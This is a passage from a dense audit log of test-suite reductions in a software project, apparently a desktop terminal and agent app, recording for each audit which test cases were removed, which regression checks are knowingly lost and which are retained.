identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette 